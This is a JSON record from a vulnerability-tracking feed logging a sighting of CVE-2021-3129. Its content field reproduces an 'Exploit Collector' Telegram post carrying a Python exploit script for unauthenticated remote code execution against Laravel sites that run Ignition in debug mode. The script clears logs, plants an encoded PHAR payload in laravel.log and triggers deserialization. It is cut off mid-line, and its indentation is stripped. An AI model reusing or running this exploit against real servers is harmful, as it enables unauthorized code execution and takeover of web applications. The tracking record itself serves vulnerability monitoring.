{"uuid": "c0af3fff-8cf5-4183-a98d-9778fcdca882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3129", "type": "seen", "source": "https://t.me/hacking_Attack/3938", "content": "Exploit Collector\nIgnition 2.5.1 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png Ignition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel versions prior to 8.4.2.\n\nMD5 | 2519c43e39f1b0d2a0fdb9d7fc9a7797Download # Exploit Title: Laravel debug mode Remote Code Execution (Ignition <=\n# Date: 05/04/2021\n# Exploit Author: Tobias Marcotto\n# Tested on: Kali Linux x64\n# Version: < 2.5.1\n# Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.\n# CVE : CVE-2021-3129\n*********************************************************************************************************\n#!/usr/bin/env python3.7\n\nimport base64\nimport re\nimport sys\nfrom dataclasses import dataclass\n\nimport requests\n@dataclass\nclass Exploit:\nsession: requests.Session\nurl: str\npayload: bytes\nlog_path: str\n\ndef main(self):\nif not self.log_path:\nself.log_path = self.get_log_path()\n\ntry:\nself.clear_logs()\nself.put_payload()\nself.convert_to_phar()\nself.run_phar()\nfinally:\nself.clear_logs()\n\ndef success(self, message, *args):\nprint('+ ' + message.format(*args))\n\ndef failure(self, message, *args):\nprint('- ' + message.format(*args))\nexit()\n\ndef get_log_path(self):\nr = self.run_wrapper('DOESNOTEXIST')\nmatch = re.search(r'\"file\":\"(\\\\/[^\"]+?)\\\\/vendor\\\\/[^\"]+?\"', r.text)\nif not match:\nself.failure('Unable to find full path')\npath = match.group(1).replace('\\\\/', '/')\npath = f'{path}/storage/logs/laravel.log'\nr = self.run_wrapper(path)\nif r.status_code != 200:\nself.failure('Log file does not exist: {}', path)\n\nself.success('Log file: {}', path)\nreturn path\n\ndef clear_logs(self):\nwrapper = f'php://filter/read=consumed/resource={self.log_path}'\nself.run_wrapper(wrapper)\nself.success('Logs cleared')\nreturn True\n\ndef get_write_filter(self):\nfilters = '|'.join((\n'convert.quoted-printable-decode',\n'convert.iconv.utf-16le.utf-8',\n'convert.base64-decode'\n))\nreturn f'php://filter/write={filters}/resource={self.log_path}'\n\ndef run_wrapper(self, wrapper):\nsolution = \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\"\nreturn self.session.post(\nself.url + '/_ignition/execute-solution/',\njson={\n\"solution\": solution,\n\"parameters\": {\n\"viewFile\": wrapper,\n\"variableName\": \"doesnotexist\"\n}\n}\n)\n\ndef put_payload(self):\npayload = self.generate_payload()\n# This garanties the total log size is even\nself.run_wrapper(payload)\nself.run_wrapper('AA')\n\ndef generate_payload(self):\npayload = self.payload\npayload = base64.b64encode(payload).decode().rstrip('=')\npayload = ''.join(c + '=00' for c in payload)\n# The payload gets displayed twice: use an additional '=00' so that\n# the second one does not have the same word alignment\nreturn 'A' * 100 + payload + '=00'\n\ndef convert_to_phar(self):\nwrapper = self.get_write_filter()\nr = self.run_wrapper(wrapper)\nif r.status_code == 200:\nself.success('Successfully converted to PHAR !')\nelse:\nself.failure('Convertion to PHAR failed (try again ?)')\n\ndef run_phar(self):\nwrapper = f'phar://{self.log_path}/test.txt'\nr = self.run_wrapper(wrapper)\nif r.status_code != 500:\nself.failure('Deserialisation failed ?!!')\nself.success('Phar deserialized')\n# We might be able to read the output of system, but if we can't, it's ok\nmatch = re.search('^(.*?)\\n\\nSource: packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:48.233087Z"}